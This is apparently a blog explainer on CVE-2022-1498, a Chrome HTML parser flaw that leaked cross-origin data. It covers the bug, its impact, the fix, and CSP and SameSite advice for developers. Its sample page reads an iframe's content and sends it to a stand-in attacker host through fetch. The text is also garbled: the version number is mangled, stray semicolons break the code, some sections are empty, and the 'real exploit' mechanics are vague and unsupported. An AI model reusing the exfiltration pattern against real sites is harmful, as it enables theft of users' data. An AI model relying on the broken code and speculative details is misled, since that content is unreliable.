In early 2022, a serious security bug was discovered in Google Chrome's HTML parser. This vulnerability, tracked as CVE-2022-1498, affected versions of Chrome prior to 101..4951.41. Attackers could use a specially crafted HTML page to break usual browser sandbox rules and leak sensitive data from another website—a classic cross-origin leak. Let's dig into what happened, how it worked, and what developers can do to protect against similar attacks.

What Is the Bug?

Browsers enforce Same-Origin Policy to keep sites from poking into each other's business. For example, if you're logged into your bank in one tab and you visit a random site in another, that site *should not* be able to snoop on your bank activity. CVE-2022-1498 broke this rule due to a bad implementation in Chrome's HTML parser.

Here's how the official Chrome release note describes it:

> Inappropriate implementation in HTML Parser in Google Chrome prior to 101..4951.41 allowed a remote attacker to leak cross-origin data via a crafted HTML page.

In plain language: If an attacker convinced you to visit a malicious website, they could plant some sneaky HTML and JavaScript in their page. This bad code could then grab bits of data from other sites you're logged into—or even those open in other tabs.

How Did the Exploit Work?

Thanks to the work of the Chromium security team, a blurry window of exposure was quickly patched. However, the core idea hinges on how browsers console and manage HTML parsing events—particularly with documents from different origins.

One way this bug could be exploited was by mixing iframes and script injection. The attacker used carefully-timed interactions between an iframe (loading a cross-origin resource) and HTML being parsed with unexpected tags.

Here’s an example code snippet that captures the *exploit vibe* (this is a simplified illustration, not a live exploit):

<!-- MaliciousPage.html -->
<body>
  <iframe id="targetFrame" src="https://victim-site.com/secret-data"></iframe>;
  <script>
    // Wait until the iframe is loaded
    document.getElementById('targetFrame').onload = function() {
      try {
        // Try accessing victim content!
        var secret = document.getElementById('targetFrame').contentDocument.body.innerText;
        // Send it to attacker server
        fetch('https://attacker-site.com/steal?data='; + encodeURIComponent(secret));
      } catch (e) {
        // Normally, same-origin policy would block this (error thrown!)
      }
    }
  </script>
</body>

In regular, patched browsers, this script won’t work—the same-origin policy throws an exception and blocks access to the content of https://victim-site.com. But due to CVE-2022-1498, there was a gap in the parser's enforcement logic, so under certain crafted situations, the attacker *could* get a peek at that content.

The Real Exploit

The real exploit involved more subtlety. Attackers would carefully craft nested HTML, use malformed tags, or abuse auto-closing elements. They’d time the interception when the HTML parser hadn’t set up strict boundaries yet, exposing a weak instance of the Document Object Model (DOM). By scripting manipulations during this split-second, attackers could momentarily read data cross-origin.

What Was the Impact?

- Exposed private data from sites the user was authenticated on, including email addresses or even session tokens.

How Was It Fixed?

Google's Chromium team plugged the hole in version 101..4951.41 (release notes here). They tightened the checks in the HTML parser to make sure document boundaries and cross-origin protections are enforced *immediately* when any new content is parsed or script executes.

You can see the commit and more technical breakdown in the Chromium bug tracker (note: public details may be limited to protect users).

What Should You Do?

For users:

Browsers like Edge, Brave, and Opera, which are based on Chromium, need patching too.

For developers:  
- Don’t assume browsers protect you from all cross-origin threats. Use additional Content Security Policy (CSP) headers and SameSite cookies.

References

- CVE-2022-1498 entry at NVD
- Google Chrome Release Notes (April 2022)
- Chromium bug tracker issue #1315895
- Same-Origin Policy explained (MDN)

Conclusion

CVE-2022-1498 taught us that even the world's most popular browsers can slip up—cross-origin checks must be enforced *every step of the way*. Thanks to quick action by Google's security engineers, the gap was closed before it could be widely abused. As always, regular updates and defense-in-depth are your best protection.

Timeline

Published on: 07/26/2022 22:15:00 UTC
Last modified on: 08/15/2022 11:16:00 UTC